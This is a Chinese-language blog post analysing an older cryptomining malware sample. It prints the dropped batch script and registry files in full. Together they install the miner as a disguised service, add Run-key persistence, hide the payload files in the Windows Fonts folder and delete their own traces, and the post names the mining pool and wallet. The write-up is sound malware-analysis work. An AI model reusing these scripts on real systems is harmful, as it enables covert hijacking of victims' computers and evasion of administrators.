标签：管理   创建   ace   ica   ssl   you   more   大小   结果   

0x00 概述

  本来是想分析一下Sodinokibi病毒的新的变种，但是分析了一部分，被他的混淆和循环弄得有点头疼，东西还都是压在内存里。偶然翻到几年前的一个样本分析，又重新看了一下，发现自己在逆向这块几年了，也没实质性的提升，真是光阴喂了狗。这个样本是一个挖矿样本，那时候的样本挖矿还是直接CUP干到100%，还没有后来样本那样CUP占用率可配置。整体的恶意样本思路也比较清晰就是挖矿赚钱，尽量让管理员没有办法追踪，及时定位到了恶意程序了也让他不容啥掉。

1.1 基本信息

1.2 分析环境

0x01 功能描述

        样本要是的功能是释放各种文件，其中包括挖矿客户端，守护程序及其他的痕迹清除，权限驻留等操作脚本。样本的目的就是给矿池wakuang.aimezi.com，钱包地址：49oJQsyUYU5GuH9hKDhdQhXvCZJT92pr27RzhmMY4uhyjSEoMXom6ciBbC4kTpwUitcXbahCuFqW6dvUr9kcBzKA8iYXics进行挖矿。

0x02 样本调试分析

2.样本创建投放文件

   对样本动态调试检测，发现样本创建并投放了5个恶意文件，其一就是创建投放conhosts.exe文件即挖矿的客户端程序。

二是创建并投放server.reg，

Server.reg内容

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ServiceMains]

"Description"="Performance library information from Windows Management Instrumentation (WMI) providers to clients on the network. This service only runs when Performance Data Helper is activated."

"DisplayName"="WMI Adapter Services"

其三是创建并投放restart.reg

restart.reg内容

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Tomcat"=""C:\\Windows\\system\\svchost.exe"

其四是释放恶意的csrss.exe程序，对挖矿客户端（conhosts.exe）有守护作用。

其五是创建并投放1.bat。

1.bat内容如下所示，通过1.bat的内容可以知道，脚本的作用是启动挖矿客户端，启动相关恶意程序，并完成相关脚本的删除工作。

@csrss.exe install WindowsATE conhosts -a cryptonight -o stratum+tcp://wakuang.aimezi.com:7777 -u 49oJQsyUYU5GuH9hKDhdQhXvCZJT92pr27RzhmMY4uhyjSEoMXom6ciBbC4kTpwUitcXbahCuFqW6dvUr9kcBzKA8iYXics -p x -nofee 1 -dbg -1 -t 1

@csrss.exe start WindowsATE

@C:\Windows\regedit /s server.reg

@C:\Windows\regedit /s restart.reg

@del server.reg

@del restart.reg

@attrib +s +h C:\Windows\Fonts\conhosts.exe

@attrib +s +h C:\Windows\Fonts\libcurl.dll

@attrib +s +h C:\Windows\Fonts\libeay32.dll

@attrib +s +h C:\Windows\Fonts\libgcc_s_seh-1.dll

@attrib +s +h C:\Windows\Fonts\libstdc++-6.dll

@attrib +s +h C:\Windows\Fonts\libwinpthread-1.dll

@attrib +s +h C:\Windows\Fonts\ssleay32.dll.dll

@attrib +s +h C:\Windows\Fonts\msvcr71.dll

@attrib +s +h C:\Windows\Fonts\csrss.dll

@attrib +s +h C:\Windows\Fonts\zlib1.dll

@del %0

3. 创建安装服务启动项，在逆向代码中的可以看到，安装了WindowsATE服务项。

4.清除日志操作。从样本的静态及动态分析结果来看，样本在运行的时候会执行清除日志的命令。

5.启动挖矿客户端的命令行代码，矿池地址，通信端口等。 对样本进行逆向，可以看到启动客户端的地址，端口等信息。

0x03 总结

一个挖矿样本分析

标签：管理   创建   ace   ica   ssl   you   more   大小   结果   

原文地址：https://www.cnblogs.com/A66666/p/5bac0905ef9d9f470a0d279a83165789.html